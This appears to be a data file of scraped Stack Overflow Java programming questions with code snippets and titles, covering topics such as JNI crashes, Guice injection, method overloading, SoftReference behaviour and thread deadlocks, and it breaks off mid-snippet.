leanft test result . Errors that I want to ignore because I know that it will fail a few times before it will succeed . As you can see , I 've tried changing the ReportLevel while doing this in order to suppress the error logging , but it does n't work . I 've tried usingthinking that it will return an empty Array if it finds nothing , but I still get errors while the browser is not ready . Does anyone have suggestions as to how I could work around this ? TL ; DRI 'm looking for a way to either suppress the errors generated within my While..Loop or to validate that the browser is ready before attaching it . All of that , so that I can have a nice and clean Run Result at the end of my test ( because these errors will present false negatives in all nearly all of my tests ) AddendumAlso , when the attach fails for the first time , I get a an exceptionas expected , but all subsequent failures are throwingI 've compared both stack traces and they are identical except for the last 2 lines which happen within the ReplayExceptionFactory.CreateDefault ( ) so I think that there is something that gets corrupted during the exception generation , but that is within the leanft.sdk.internal package so there might not be a lot we can do about it right now.I 'm guessing that if I did not get that second `` can not read property '' exception , I would correctly get the ReplayObjectNotFoundException until the browser is correctly attached .","private Browser attachPopUpBrowser ( BrowserType bt , RegExpProperty url ) { Browser browser = null ; int iteration = 0 ; //TimeoutLimit.SHORT = 15000 while ( browser == null & & iteration < TimeoutLimit.SHORT.getLimit ( ) ) { try { Reporter.setReportLevel ( ReportLevel.Off ) ; browser = BrowserFactory.attach ( new BrowserDescription.Builder ( ) .type ( bt ) .url ( url ) .build ( ) ) ; Reporter.setReportLevel ( ReportLevel.All ) ; } catch ( GeneralLeanFtException e ) { try { Thread.sleep ( 1000 ) ; iteration += 1000 ; } catch ( InterruptedException e1 ) { } } } return browser ; } Browser [ ] browsers = BrowserFactory.getallOpenBrowsers ( BrowserDescription ) ; com.hp.lft.sdk.ReplayObjectNotFoundException : attachApplication com.hp.lft.sdk.GeneralLeanFtException : Can not read property 'match ' of null",Trying to suppress errors while attaching browser +Java,"Since a couple of weeks the SWI-Prolog Java interface crashes immediately in JNI_CreateJavaVM . Well , on most machines . It runs fine on one of my machines , which runs the same version of Ubuntu and openjdk ... I stripped this down to this little program : That is compiled usingGdb gives no usable stack trace as it claims a stack corruption somewhere in the JVM . I 'm pretty lost as this crashes both using Oracle and OpenJDK java one assumes it is my fault . On the other hand , this worked for years and is what you find in all examples as well.Platform is Ubuntu 16.04 , amd64 , gcc 5.4.0valgrind says this . Funny enough , it says the same on the machine where it runs without crashing .","# include < jni.h > # include < stdio.h > # include < stdlib.h > static JavaVM *jvm ; intmain ( int argc , char **argv ) { JavaVMInitArgs vm_args = { 0 } ; JNIEnv *env ; JavaVMOption opt [ 8 ] = { 0 } ; int optn = 0 ; int r ; opt [ optn++ ] .optionString = `` -Djava.class.path= '' `` jpl.jar : . `` ; opt [ optn++ ] .optionString = `` -Xrs '' ; vm_args.version = JNI_VERSION_1_2 ; vm_args.nOptions = optn ; vm_args.options = opt ; r = JNI_CreateJavaVM ( & jvm , ( void** ) & env , & vm_args ) ; fprintf ( stderr , `` Got % d\n '' , r ) ; exit ( 0 ) ; } JVM=/usr/lib/jvm/java-8-oracle # JVM=/usr/lib/jvm/java-1.8.0-openjdk-amd64gcc -I $ JVM/include \ -I $ JVM/include/linux \ -L $ JVM/jre/lib/amd64/server \ -L $ JVM/jre/lib/amd64 \ -g -Wall -o t t.c -ljsig -ljava -lverify -ljvm ==9642== Memcheck , a memory error detector==9642== Copyright ( C ) 2002-2015 , and GNU GPL 'd , by Julian Seward et al.==9642== Using Valgrind-3.11.0 and LibVEX ; rerun with -h for copyright info==9642== Command : ./t==9642== ==9642== Warning : set address range perms : large range [ 0x5cb200000 , 0x7c0000000 ) ( noaccess ) ==9642== Warning : set address range perms : large range [ 0x5cb200000 , 0x5e0100000 ) ( defined ) ==9642== Warning : set address range perms : large range [ 0x7c0000000 , 0x800000000 ) ( noaccess ) ==9642== Invalid write of size 4==9642== at 0x84C0BE7 : ? ? ? ==9642== by 0x84AE4E6 : ? ? ? ==9642== by 0x549C11A : ? ? ? ( in /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server/libjvm.so ) ==9642== by 0x545ABA6 : ? ? ? ( in /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server/libjvm.so ) ==9642== by 0x545AFA1 : ? ? ? ( in /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server/libjvm.so ) ==9642== by 0x545B3FF : ? ? ? ( in /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server/libjvm.so ) ==9642== by 0x545B1B1 : ? ? ? ( in /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server/libjvm.so ) ==9642== by 0x545B3FF : ? ? ? ( in /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server/libjvm.so ) ==9642== by 0x584A9BB : ? ? ? ( in /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server/libjvm.so ) ==9642== by 0x54C31E1 : JNI_CreateJavaVM ( in /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server/libjvm.so ) ==9642== by 0x4007C7 : main ( t.c:22 ) ==9642== Address 0xffeffea00 is on thread 1 's stack==9642== 4096 bytes below stack pointer",JNI_CreateJavaVM ( ) stack corruption in recent Ubuntu 16.04 +Java,I 'm using a bat file to run my jar . The code in my bat file is this : This works fine for windows.But it does n't do anything at linux . I also need to be sure it will run on Mac,@ echo offjava -cp analyser.jar be.model.Startpause,Bat file for jar +Java,"I have read through many similar questions , but I am still stuck with logging in to my school gradebook ( https : //parents.mtsd.k12.nj.us/genesis/parents ) to retrieve data . My networking class is shown below : I am not sure what to do with the InputStream or if I am going about logging in correctly , and once again , I have gone through and read several online resources to try to understand this concept but I am still confused . Any help is appreciated ! UPDATE : So now I understand the basic process and I know what I have to do . When using Jsoup to handle the connection , I know you can do something like this : However , I am still a little confused as to how to actually send the data ( such as a user 's username/password to the website with HttpURLConnection , and how to actually store the obtained cookie ... otherwise , the help has been really useful and I am fine with everything else","public class WebLogin { public String login ( String username , String password , String url ) throws IOException { URL address = new URL ( url ) ; HttpURLConnection connection = ( HttpURLConnection ) address.openConnection ( ) ; connection.setDoOutput ( true ) ; connection.setRequestProperty ( `` j_username '' , username ) ; connection.setRequestProperty ( `` j_password '' , password ) ; connection.setRequestProperty ( `` __submit1__ '' , '' Login '' ) ; InputStream response = connection.getInputStream ( ) ; Document document = Jsoup.parse ( response , null , `` '' ) ; //do n't know what to do here ! return null ; } } Connection.Response res = Jsoup.connect ( `` -- -website -- - '' ) .data ( `` j_username '' , username , `` j_password '' , password ) .followRedirects ( true ) .method ( Method.POST ) .execute ( ) ;",Need help logging into website and retrieving information +Java,I recently saw the source code of the Google library Gson and saw something really strange ( IMO ) . In the com.google.gson.internal package there are 2 classes which do begin with a `` $ '' .For exampleDoes the dollar sign has a effect to development or is it just to say to outside developers something like `` please do n't use cause it is a internal class '' ?,public final class $ Gson $ Types { ... },What effect has $ in a Java class name +Java,"So this code works but it returns an array of type Object [ ] However , what I want is to make it return an array of type int [ ] .does anyone have an idea of how I can accomplish that ?",try ( BufferedReader br = new BufferedReader ( new InputStreamReader ( System.in ) ) ) { Object [ ] test = Arrays.stream ( br.readLine ( ) .split ( `` `` ) ) .map ( string - > Integer.parseInt ( string ) ) .toArray ( ) ; System.out.println ( Arrays.toString ( test ) ) ; } catch ( IOException E ) { },Populate int [ ] array from console on 1 line with Lambda ( java ) +Java,"Is there an algorithm to find ALL factorizations of an integer , preferably in Python/Java but any feedback is welcome.I have an algorithm to calculate the prime factors . For instance [ 2,2,5 ] are the prime factors of 20.I also have an algorithm to compute all factors ( prime and non-prime ) of an algorithm . For instance , the factors of 20 are [ 1 , 2 , 4 , 5 , 10 , 20 ] .What I 'm searching for is an algorithm to return all factorizations ( not factors ) of a given integer . For the integer 20 , the algorithm would produce the following : Thanks !","def prime_factorization ( n ) : primfac = [ ] d = 2 while d*d < = n : while ( n % d ) == 0 : primfac.append ( d ) n /= d d += 1 if n > 1 : primfac.append ( n ) return primfac def factors ( n ) : a , r = 1 , [ 1 ] while a * a < n : a += 1 if n % a : continue b , f = 1 , [ ] while n % a == 0 : n //= a b *= a f += [ i * b for i in r ] r += f if n > 1 : r += [ i * n for i in r ] return sorted ( r ) [ 1,20 ] [ 2,10 ] [ 4,5 ] [ 2,2,5 ]",Algorithm to find ALL factorizations of an integer +Java,I 'm Java beginner and IoC as well . How to do stuff : in IoC way on Guice example ? How should I configure my injector ?,public class Foo { //private Bar bar ; //Bar is an interfaceprivate int var ; public Foo ( ) { } public void setVar ( int var ) { this.var = var ; } public Bar getBar ( ) { if ( var==1 ) { return new BarImpl1 ( ) ; //an implemantation of Bar interface } else if ( var==2 ) { return new BarImpl2 ( ) ; //an implemantation of Bar interface } else { return new BarImpl ( ) ; //an implemantation of Bar interface } } } public class Foo { private Bar bar ; //Bar is an interfaceprivate int var ; @ Injectpublic Foo ( Bar bar ) { this.bar = bar ; } public void setVar ( int var ) { this.var = var ; } public Bar getBar ( ) { return bar ; // or what else ? ? } } @ Override protected void configure ( ) { bind ( Bar.class ) .to ( BarImpl.class ) ; //and what else ? ? },IoC problem with multi binding +Java,There is a internal class SynchronizedCollection - inside java.util.Collectionswith two constructor . the first takes the collection and the other takes collection and a mutex.former constructor checks argument for not being null . but the later do n't ! .here is the implementation.with this implementation i can break the class invariant by sending null to secondconstructor.i believe it should be something like this : however i ca n't convince myself Josh Bloch and Neal Gafter could n't see this . so can you really tell me what i missed here ? edited : possible attack,"SynchronizedCollection ( Collection < E > c ) { if ( c==null ) throw new NullPointerException ( ) ; this.c = c ; mutex = this ; } SynchronizedCollection ( Collection < E > c , Object mutex ) { this.c = c ; this.mutex = mutex ; } SynchronizedCollection ( Collection < E > c ) { this ( c , this ) } SynchronizedCollection ( Collection < E > c , Object mutex ) { if ( c==null ) throw new NullPointerException ( ) ; this.c = c ; this.mutex = mutex ; } Map < String , String > m = new Map < String , String > ( ) { @ Override public int size ( ) { // TODO Auto-generated method stub return 0 ; } . . . @ Override public Collection < String > values ( ) { return null ; } } ; Map < String , String > synchronizedMap = Collections.synchronizedMap ( m ) ; Collection < String > values = synchronizedMap.values ( ) ;",Is this a bug in Java SynchronizedCollection class ? +Java,"I am wondering why the call ofin class M refers to the following function in class B : instead of using function f in class A , since b.x is covered by A . Or rather usesin class B where at least the parameter type matches.Complete Code below :",z.f ( -6 ) ; public void f ( double y ) { this.x = ( int ) y + B.y ; } public void f ( int y ) { this.x = y*2 ; B.y = this.x ; } public class A { public int x = 1 ; public A ( int x ) { this.x += x ; } public A ( double x ) { x += x ; } public void f ( double x ) { this.x = this.x + ( int ) ( x + B.y ) ; } } public class B extends A { public static int y = 3 ; public int x = 0 ; public B ( double x ) { super ( ( int ) x ) ; } public void f ( int y ) { this.x = y*2 ; B.y = this.x ; } public void f ( double y ) { this.x = ( int ) y + B.y ; } } public class M { public static void main ( String [ ] args ) { A a = new A ( B.y ) ; a.f ( 1 ) ; B b = new B ( 3.0 ) ; A z = b ; z.f ( -5.0 ) ; z.f ( -6 ) ; System.out.println ( b.x + `` `` + z.x ) ; } },Java : Overloading methods +Java,"Intro : I am currently working on my first TreeView in JavaFX.The example given in the documentation is the following : In this example , we build the TreeItem tree structure manually , i.e. , calling getChildren ( ) on every node that has children and adding these.Question : Is it possible to tell a TreeItem to `` dynamically '' build its children ? It would be perfect if I could define the parent-child-relationship as a function.I would be looking for something like the following :","TreeItem < String > root = new TreeItem < String > ( `` Root Node '' ) ; root.setExpanded ( true ) ; root.getChildren ( ) .addAll ( new TreeItem < String > ( `` Item 1 '' ) , new TreeItem < String > ( `` Item 2 '' ) , new TreeItem < String > ( `` Item 3 '' ) ) ; TreeView < String > treeView = new TreeView < String > ( root ) ; // Function that generates the child tree items for a given tree itemFunction < TreeItem < MyData > , List < TreeItem < MyData > > > childFunction = parent - > { List < TreeItem < MyData > > children = new ArrayList < > ( parent . // TreeItem < MyData > getValue ( ) . // MyData getChildrenInMyData ( ) . // List < MyData > stream ( ) . map ( myDataChild - > new TreeItem < MyData > ( myDataChild ) ) ) ) ; // List < TreeItem < MyData > > // The children should use the same child function children.stream ( ) .forEach ( treeItem - > treeItem.setChildFunction ( childFunction ) ) ; return children ; } ; TreeItem < MyData > root = new TreeItem < MyData > ( myRootData ) ; root.setExpanded ( true ) ; // THE IMPORTANT LINE : // Instead of setting the children via .getChildren ( ) .addAll ( ... ) I would like to set a `` child function '' root.setChildFunction ( childFunction ) ; TreeView < MyData > treeView = new TreeView < String > ( root ) ;",Is it possible to generate a JavaFX TreeItem 's children dynamically based on a function ? +Java,"I took this code snippet from some quiz , using IDE I executed it and get a result long , long but the correct answer is Byte , Byte , why I got different result ? The question is related to JDK 11EDITED : The code was taken here : Oracle Certification Overview and Sample Questions ( Page : 13 , Question : 5 )","public class Client { static void doCalc ( byte ... a ) { System.out.print ( `` byte ... '' ) ; } static void doCalc ( long a , long b ) { System.out.print ( `` long , long '' ) ; } static void doCalc ( Byte s1 , Byte s2 ) { System.out.print ( `` Byte , Byte '' ) ; } public static void main ( String [ ] args ) { byte b = 5 ; doCalc ( b , b ) ; } }",Passing byte arguments to overloaded method +Java,Im learning Delphi but loved to use hash arrays in Perl and Java . Are there compairing data structures in Delphi ? I know that It is possible to use TStringList as a Hash Array : Is it possible to build more complicated data structures like Perl 's hash of arrays etc . in Delphi ?,var myHash : TStringList ) ; begin myHash : =TStringList.Create ( ) ; myHash.values [ 'color ' ] : ='blue ' ; Showmessage ( myHash.Values [ 'color ' ] ) ; //blue myHash.free ; end ;,Are there Hash Arrays in Delphi ? +Java,"When I ran class C , I thought A-SIB , B-SIB and A-test will be printed , but B-SIB was not there in the output . Can somebody explain why ?",class A { static { System.out.println ( `` A-SIB '' ) ; } static void test ( ) { System.out.println ( `` A-test '' ) ; } } class B extends A { static { System.out.println ( `` B-SIB '' ) ; } } class C { public static void main ( String args [ ] ) { B.test ( ) ; } },static keyword in Java +Java,"My xml file structure is like this I want to get the specific page node by passing page id , and chapter id . How can I achieve this ? Also , the book node contains too many chapter and each chapter contains many pages . So , I am using SAX parser to parse the content .",< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < book > < chapters > < chapter id= '' 1 '' > < page id= '' 1 '' cid= `` 1 '' bid = `` Book1 '' > < text > Hi < /text > < /page > < page id= '' 2 '' cid= `` 1 '' bid = `` Book1 '' > < text > Hi < /text > < /page > < /chapter > < chapter id= '' 2 '' > < page id= '' 1 '' cid= `` 2 '' bid = `` Book1 '' > < text > Hi < /text > < /page > < page id= '' 2 '' cid= `` 2 '' bid = `` Book1 '' > < text > Hi < /text > < /page > < /chapter > < chapter id= '' 3 '' > < page id= '' 1 '' cid= `` 3 '' bid = `` Book1 '' > < text > Hi < /text > < /page > < page id= '' 2 '' cid= `` 3 '' bid = `` Book1 '' > < text > Hi < /text > < /page > < /chapter > < /chapters > < /book >,How can I fetch specific nodes from XML using XPath in Java ? +Java,"In another question I was provided with a great answer involving generating certain sets for the Chinese Postman Problem.The answer provided was : This will output the desire result of : This really shows off the expressiveness of Python because this is almost exactly how I would write the pseudo-code for the algorithm . I especially like the usage of yield and and the way that sets are treated as first class citizens.However , there in lies my problem.What would be the best way to:1.Duplicate the functionality of the yield return construct in Java ? Would it instead be best to maintain a list and append my partial results to this list ? How would you handle the yield keyword . 2.Handle the dealing with the sets ? I know that I could probably use one of the Java collections which implements that implements the Set interface and then using things like removeAll ( ) to give me a set difference . Is this what you would do in that case ? Ultimately , I 'm looking to reduce this method into as concise and straightforward way as possible in Java . I 'm thinking the return type of the java version of this method will likely return a list of int arrays or something similar.How would you handle the situations above when converting this method into Java ?","def get_pairs ( s ) : if not s : yield [ ] else : i = min ( s ) for j in s - set ( [ i ] ) : for r in get_pairs ( s - set ( [ i , j ] ) ) : yield [ ( i , j ) ] + rfor x in get_pairs ( set ( [ 1,2,3,4,5,6 ] ) ) : print x [ ( 1 , 2 ) , ( 3 , 4 ) , ( 5 , 6 ) ] [ ( 1 , 2 ) , ( 3 , 5 ) , ( 4 , 6 ) ] [ ( 1 , 2 ) , ( 3 , 6 ) , ( 4 , 5 ) ] [ ( 1 , 3 ) , ( 2 , 4 ) , ( 5 , 6 ) ] [ ( 1 , 3 ) , ( 2 , 5 ) , ( 4 , 6 ) ] [ ( 1 , 3 ) , ( 2 , 6 ) , ( 4 , 5 ) ] [ ( 1 , 4 ) , ( 2 , 3 ) , ( 5 , 6 ) ] [ ( 1 , 4 ) , ( 2 , 5 ) , ( 3 , 6 ) ] [ ( 1 , 4 ) , ( 2 , 6 ) , ( 3 , 5 ) ] [ ( 1 , 5 ) , ( 2 , 3 ) , ( 4 , 6 ) ] [ ( 1 , 5 ) , ( 2 , 4 ) , ( 3 , 6 ) ] [ ( 1 , 5 ) , ( 2 , 6 ) , ( 3 , 4 ) ] [ ( 1 , 6 ) , ( 2 , 3 ) , ( 4 , 5 ) ] [ ( 1 , 6 ) , ( 2 , 4 ) , ( 3 , 5 ) ] [ ( 1 , 6 ) , ( 2 , 5 ) , ( 3 , 4 ) ]",What is the best way to translate this recursive python method into Java ? +Java,consider the following code : To me it seems absolutely impossible that the println ( ) would ever be executed - as the call to letsThrow ( ) will always throw an exception . Thus I am a ) surprised that the compiler ca n't tell me `` this is dead code '' b ) wondering if there are some compiler flags ( or eclipse settings ) that would result in telling me : you got dead code there .,@ Test public void testDeadCode ( ) { letsThrow ( ) ; System.out.println ( `` will never be reached '' ) ; } private final void letsThrow ( ) { throw new RuntimeException ( `` guess you didnt see this one coming '' ) ; },How can I detect dead code after always-throwing methods ? +Java,"My goal is to retrieve the html of a website in a readable String ( which I have done ) , and to modify the code slightly so that the html is retrieved a certain time after the Get command is made.Here 's an example of what I 'm trying to do : on the website http : //time.gov/HTML5/ , the html that appears right when the page loads is not the full html ; after a few seconds , javascript commands execute that slightly modify the html . My goal is to get the modified html.Here is what I have done to get the website html : This code correctly gets the unmodified html . However , I am trying to get the html a couple seconds after the request is made ( which will hopefully give it enough time to update the html ) by using Thread.sleep ( 5000 ) , but this is not working . Does anyone know how to approach this problem ?","public class MainActivity extends Activity { @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; DownloadTask task = new DownloadTask ( ) ; task.execute ( `` http : //time.gov/HTML5/ '' ) ; } private class DownloadTask extends AsyncTask < String , Void , String > { @ Override protected String doInBackground ( String ... urls ) { HttpResponse response = null ; HttpGet httpGet = null ; HttpClient mHttpClient = null ; String s = `` '' ; try { if ( mHttpClient == null ) { mHttpClient = new DefaultHttpClient ( ) ; } httpGet = new HttpGet ( urls [ 0 ] ) ; response = mHttpClient.execute ( httpGet ) ; s = EntityUtils.toString ( response.getEntity ( ) , `` UTF-8 '' ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } return s ; } @ Override protected void onPostExecute ( String result ) { final TextView textview1 = ( TextView ) findViewById ( R.id.headline ) ; textview1.setText ( result ) ; } } }",Android : retrieve html of website certain time after request +Java,"Ok ! I have same code written in Java and C # but the output is different ! Output : Class A . It is in C # .But when same code was ran in Java , the output was Class B . Here is the Java Code : So , why this is showing different results ? I do know that , in Java , all methods are virtual by default that 's why Java outputs Class B.Another thing is that , both languages claim that they are emerged or inspired by C++ then why they are showing different results while both have same base language ( Say ) . And what does this line A a = new B ( ) ; actually doing ? Is n't a holding object of class B ? If it is so , then why C # displays Class A and Java shows Class B ? NOTE This question was asked in interview with the same code provided above . And I answered with output Class B ( with respect to Java ) but he said Class A will be right output.Thank you !",class A { public void print ( ) { Console.WriteLine ( `` Class A '' ) ; } } class B : A { public void print ( ) { Console.WriteLine ( `` Class B '' ) ; } } class Program { static void Main ( string [ ] args ) { A a = new B ( ) ; a.print ( ) ; Console.Read ( ) ; } } class A { public void print ( ) { System.out.println ( `` Class A '' ) ; } } class B extends A { public void print ( ) { System.out.println ( `` Class B '' ) ; } } public class Program { public static void main ( String [ ] args ) { A a = new B ( ) ; a.print ( ) ; } },Java Vs C # : Java and C # subclasses with method overrides output different results in same scenario +Java,"In the companies I 've been working , I 've seen a lot the use of prefixes to indicate the scope or the origin of variables , for example m for classes members , i for methods intern variables and a ( or p ) for methods parameters : What do you think about it ? Is it recommended ( or precisely not ) ? I found it quite ugly in a first phase , but the more I use it , the more I find it quite convenient when working on big methods for example.Please note that I 'm not talking about the Hungarian notation , where prefixes indicate the type rather than the scope .",public class User { private String mUserName ; public String setUserName ( final String aUserName ) { final String iUserName = `` Mr `` + aUserName ; mUserName = iUserName ; } },Prefixing variables names to indicate their respective scope or origin ? +Java,"I have the next snippet of code : but I need to pass it to a method with the following signature : Can I do the following ? : IDE ( eclipse ) accepts it and I assume that compiler does also , but my guess is that I 'll get a ClassCastException even in the case that all the array elements are of class X509Certificate or a subclass of it .",Certificate [ ] a = myFavouriteKeystore.getCertificateChain ( ) ; void setCertificateChain ( X509Certificate [ ] chain ) ; setCertificateChain ( ( X509certificate [ ] ) a ) ;,If I cast an array of T to an array of Q ( being Q derived from T ) does it cast each element in turn ? +Java,"For example , I have a class with a builder with 5 params , instead of me manually selecting the params and populating them , is there a way to tell Intellij to do this : Then I can just fill in the parameters myself . It 'd be handy to make sure I have n't missed any.Alternatively , can I set the autocomplete options to sort in the order they appear in the class ?",MyClass myClass = MyClass.builder ( ) .param1 ( ) .param2 ( ) .param3 ( ) .param4 ( ) .param5 ( ) .build ( ) ;,Is it possible to auto complete a builder in Intellij ? +Java,"I want to fail the gradle build if the current project still has snapshot dependencies.My code so far only looks for java dependencies , missing the .NET ones so it only works for java projects . I want to make it work for all projects.I need some help in generifying this snippet to be applicable to all types of dependencies ( not just java ) Thanks ! L.E . Could something like this work ? https : //discuss.gradle.org/t/how-can-i-check-for-snapshot-dependencies-and-throw-an-exception-if-some-where-found/4064","def addSnapshotCheckingTask ( Project project ) { project.tasks.withType ( JavaCompile ) { compileJava - > project.tasks.create ( compileJava.name + 'SnapshotChecking ' , { onlyIf { project.ext.isRelease || project.ext.commitVersion ! = null } compileJava.dependsOn it doLast { def snapshots = compileJava.classpath .filter { project.ext.isRelease || ! ( it.path ==~ / ( ? i ) $ { project.rootProject.projectDir.toString ( ) .replace ( '\\ ' , '\\\\ ' ) } .*build.libs . */ ) } .filter { it.path =~ / ( ? i ) -SNAPSHOT/ } .collect { it.name } .unique ( ) if ( ! snapshots.isEmpty ( ) ) { throw new GradleException ( `` Please get rid of snapshots for following dependencies before releasing $ snapshots '' ) } } } ) } }",Gradle - throw exception if project still has SNAPSHOT dependencies +Java,"I have some basic idea on how to do this task , but I 'm not sure if I 'm doing it right . So we have class WindyString with metod blow . After using it : we should obtain something like this : so in a nutshell in every second word we pick every vowels and move them one line above . In the second half of words we move vowels one line below.I know I should split string to tokens with tokenizer or split method , but what next ? Create 3 arrays each representing each row ?",System.out.println ( WindyString.blow ( `` Abrakadabra ! The second chance to pass has already BEGUN ! `` ) ) ; e a e a a ea y br k d br ! Th s c nd ch nc t p ss h s lr d B G N ! A a a a a e o o a E U,Wind blowing on String +Java,I stumbled across this doc and wondered what that was all about . Apparently you can have certain control characters inside identifiers and they are ignored : I could n't find anything about this in the JLS . IntelliJ IDEA gives an error in the editor saying `` dummy '' is an undeclared identifier ( but nevertheless it compiles and runs ) . I guess that 's an error in IntelliJ ? What purpose do these `` ignoreable characters '' serve ? ( Note : StackOverflow seems to remove my control characters from the question ),public static void main ( String [ ] args ) throws Exception { int dummy = 123 ; System.out.println ( d​ummy ) ; // Has U+200B after the ` d ` before the ` u ` },What 's an `` ignorable character in a Java identifier '' +Java,"I was going through the concepts of parallel sort introduced in Java 8.As per the doc . If the length of the specified array is less than the minimum granularity , then it is sorted using the appropriate Arrays.sort method.The spec however does n't specify this minimum limit . When I looked up the Code in java.util.Arrays it was defined as i.e. , 8192 values in the arrayAs per the explanation provided here.I understand why the value was Hard-coded as 8192 . It was designed keeping the current CPU architecture in mind . With the -XX : +UseCompressedOops option being enabled by default , any system with less than 32GB RAM would be using 32bit ( 4bytes ) pointers . Now , with a L1 Cache size of 32KB for data portion , we can pass 32KB/4Bytes = 8KB of data at once to CPU for computation . That 's equivalent to 8192 bytes of data being processed at once.So for a function which is working on sorting a byte array parallelSort ( byte [ ] ) this makes sense . You can keep minimum parallel sort limit as 8192 values ( each value = 1 byte for byte array ) .But If you consider public static void parallelSort ( int [ ] a ) An Integer Variable is of 4Bytes ( 32-bit ) . So ideally of the 8192 bytes , we can store 8192/4 = 2048 numbers in CPU cache at once.So the minimum granularity in this case is suppose to be 2048.Why are all parallelSort functions in Java ( be it byte [ ] , int [ ] , long [ ] , etc . ) using 8192 as the default min . number of values needed in order to perform parallel sorting ? Should n't it vary according to the types passed to the parallelSort function ?",private static final int MIN_ARRAY_SORT_GRAN = 1 < < 13 ;,Why is the Minimum granularity defined as 8192 in Java8 in order to switch from Parallel Sort to Arrays.sort regardless of type of data +Java,"Term final-field-safe context is used frequently in paragraph 17.5.3 of JLS ( subsequent modification of final fields ) . Although , as could be understood from specification ( if I 'm wrong here , please correct me ) the exact behavior is implementation-dependent , there is still no clear definition of term.Could I suppose , that if we have a final-field freeze F ( one that occurs at the end of object construction or final-field set by the means of reflection API ) and an action A , such that happens-before ( F , A ) , then A is in final-field-safe context ?",An implementation may provide a way to execute a block of codein a final-fieldsafe context .,What is the exact meaning of final-field-safe context in JLS +Java,"I am looking for explanation and/or versioning details ( if possible ) about a very strange behavior I found in Java accessing tuples created in Scala.I will show the weird behavior with an easy test I did.I created this Scala class : and then I run this Java program : does anybody have any explanation on the reason of this ? Moreover , in my tests I am using Java 1.8 and Scala 2.11.8 . Can anyone provide any suggestion about the compatibility of using _1 from Java code also with older Scala 2.11 and 2.10 versions and Java 1.7 ? I read that _1 is not accessible from Java , but I can access it in my tests . Thus I am looking for the versions which support it.Thanks .","class Foo { def intsNullTuple = ( null.asInstanceOf [ Int ] , 2 ) def intAndStringNullTuple = ( null.asInstanceOf [ Int ] , `` 2 '' ) } Tuple2 < Object , Object > t = ( new Foo ( ) ) .intsNullTuple ( ) ; t._1 ( ) ; // returns 0 ! t._1 ; // return nullTuple2 < Object , String > t2 = ( new Foo ( ) ) .intAndStringNullTuple ( ) ; t._1 ( ) ; // returns nullt._1 ; // return null",Weird behavior accessing tuple from Java +Java,"I have a class along the lines of This has served me well . However , because of some type-erasure & persistence issues I 'm facing , I 'd like to now introduce a form ofObviously I ca n't extend Set < Order > , as it 's an interface . I 'd like to keep my implementation as immutable . However , I ca n't extend ImmutableSet < Order > , as the docs state : Note : Although this class is not final , it can not be subclassed outside its package as it has no public or protected constructors . Thus , instances of this type are guaranteed to be immutable.I could use composition , giving OrderSet a backing collection of ImmutableSet and delegate all the Set methods to it . However , this seems overkill.Is there another way I can achieve a non-generic subclass here ?",class Receipt { private Set < Order > orders ; public Receipt ( Set < Order > orders ) { this.orders = ImmutableSet.copyOf ( orders ) } } class OrderSet extends Set < Order > { },Appropriate way to subclass Guava 's ImmutableSet +Java,"The JDK 7 documentation has this to say about a SoftReference : `` All soft references to softly-reachable objects are guaranteed to have been cleared before the virtual machine throws an OutOfMemoryError . `` However , in my test program , I 'm seeing OutOfMemoryError consistently ( except for the 'Stranger Behavior ' section below ) : Here 's the output : Stranger BehaviorWhat is VERY STRANGE is , if I re-instate the try-catch block , the program appears to run fine forever , printing `` Referent still alive . '' lines until I get tired and kill it.What am I missing in all of this ?","// RefObjectTest.javaimport java.util . * ; import java.lang.ref . * ; public class RefObjectTest { public static void main ( String [ ] args ) { ArrayList < byte [ ] > leaks = new ArrayList < > ( ) ; byte [ ] obj = new byte [ 10 * 1024 * 1024 ] ; SoftReference < byte [ ] > ref = new SoftReference < > ( obj ) ; // WeakReference is supposed to be eagerly GC'ed , but I see no // difference in terms of program behavior : still get OOME . // // WeakReference < byte [ ] > ref = new WeakReference < > ( obj ) ; obj = null ; while ( true ) { byte [ ] x = ref.get ( ) ; if ( x == null ) { System.out.println ( `` Referent stands garbage collected ! ! `` ) ; break ; } else { System.out.println ( `` Referent still alive . `` ) ; } // Leak memory in small , 10k increments . If soft reference // worked the way it 's advertized , then just before the OOME , the // 10MB referent should have been GC'ed to accomodate this small // 10K new memory request . But it does n't appear to work that way ! // try { leaks.add ( new byte [ 10 * 1024 ] ) ; // } catch ( OutOfMemoryError e ) { // System.out.println ( ref.get ( ) == null ? `` Referent cleared '' : // `` Referent still alive '' ) ; // } // VERY STRANGE : If I re-instate the above try-catch block , then no OOME is // thrown , and the program keeps printing `` Referent still alive '' lines // forever until I finally kill it with a Ctrl+C . // Uncommenting gc ( ) tends to delay the OOME in terms of time , // but OOME eventually does happen , and after the same number of // iterations of this loop . // // System.gc ( ) ; } } } $ java -Xmx15m RefObjectTestReferent still alive . ... Referent still alive.Exception in thread `` main '' java.lang.OutOfMemoryError : Java heap space at RefObjectTest.main ( RefObjectTest.java:38 ) $ java -versionjava version `` 1.7.0_45 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_45-b18 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 24.45-b08 , mixed mode ) $ $ uname -aLinux ida 3.10.11-100.fc18.x86_64 # 1 SMP Mon Sep 9 13:06:31 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux",Java SoftReference guarantee failing +Java,Code from the book `` Java Concurrency in Practice '' Listing 8.1Why is the code deadlocking ? Is it because the rpt.call in main ( ) is basically the same thread as that in Executors ? Even if I use 10 threads for exec = Executors.newFixedThreadPool ( 10 ) ; it still deadlocks ?,"public class ThreadDeadlock { ExecutorService exec = Executors.newSingleThreadExecutor ( ) ; public class RenderPageTask implements Callable < String > { public String call ( ) throws Exception { Future < String > header , footer ; header = exec.submit ( new LoadFileTask ( `` header.html '' ) ) ; footer = exec.submit ( new LoadFileTask ( `` footer.html '' ) ) ; String page = renderBody ( ) ; // Will deadlock -- task waiting for result of subtask return header.get ( ) + page + footer.get ( ) 